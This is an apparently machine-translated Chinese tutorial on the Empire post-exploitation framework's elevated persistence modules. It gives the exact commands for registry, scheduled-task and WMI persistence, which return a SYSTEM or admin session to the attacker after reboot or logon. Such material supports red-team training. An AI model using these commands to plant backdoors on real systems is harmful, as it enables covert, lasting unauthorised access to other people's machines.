在Empire中,提升的持久性模块使用触发方法,并且不同模块中需要不同的存储选项。所有这些持久性模块均基于PowerSploit的持久性。由于这些具有较高的持久性,因此需要您具有管理员权限才能按预期进行工作。它们具有不同的设置选项,包括清理等,例如,清理选项将设置删除您的后门并将机器设置回其原始状态。
获取持久性的注册表方法是使用HKLM版本将有效负载触发到系统中的最古老的方法之一。我们将在文章中展示的几个持久性将具有schtasks作为选项。此选项使模块有些棘手,因为它设置了在 DailyTime(即任何给定时间)或使用触发登录有效负载用户的OnLogon选项时触发的有效负载。该 ONLOGON 选项不显示提示,以SYSTEM身份运行。
该WMI模块多半是去到持续性方法。它使您可以在 DailyTime (即某个时间)或启动时添加永久的WMI有效负载。该模块以SYSTEM身份运行,并且不依赖于登录用户。
我们将在文章中显示的持久性模块如下:
- Persistence/elevated/registry
- Persistence/elevated/schtask
- Persistence/elevated/wmi
首先,我们必须通过帝国进行一次高级会议(具有管理员权限的会议)。要了解如何进行上述会话,请单击此处。正如您在图像中看到的,高完整性设置为1,这意味着我们拥有管理员权限。现在,我们将使用上面列出的第一个持久性模块,为此,请使用以下命令:
usemodule persistence/elevated/registry*
set Listener http
execute
一旦执行了上述模块并重新启动了目标计算机,您将再次自动进行会话。如下图所示:
我们的下一个模块是persistence/elevated/schtasks,它与上一个模块有所不同,因为在此模块中,我们可以设置一定的时间来获取会话。在以管理员权限进行会话之后,我们将再次使用以下命令来激活所述持久性模块:
usemodule persistence/elevated/schtasks*
set OnLogon True
set Listener http
execute
由于使用了OnLogon选项,一旦用户登录到他们的系统,您的会话将返回给您,请参考下图:
最后,我们将使用persistence/elevated/wmi 模块,并使用它,键入以下命令集:
usemodule persistence/elevated/wmi*
set Listener http
set AtStartup True
execute
当我们将启动选项设置为true时,目标计算机将在启动时立即进行会话,如下图所示: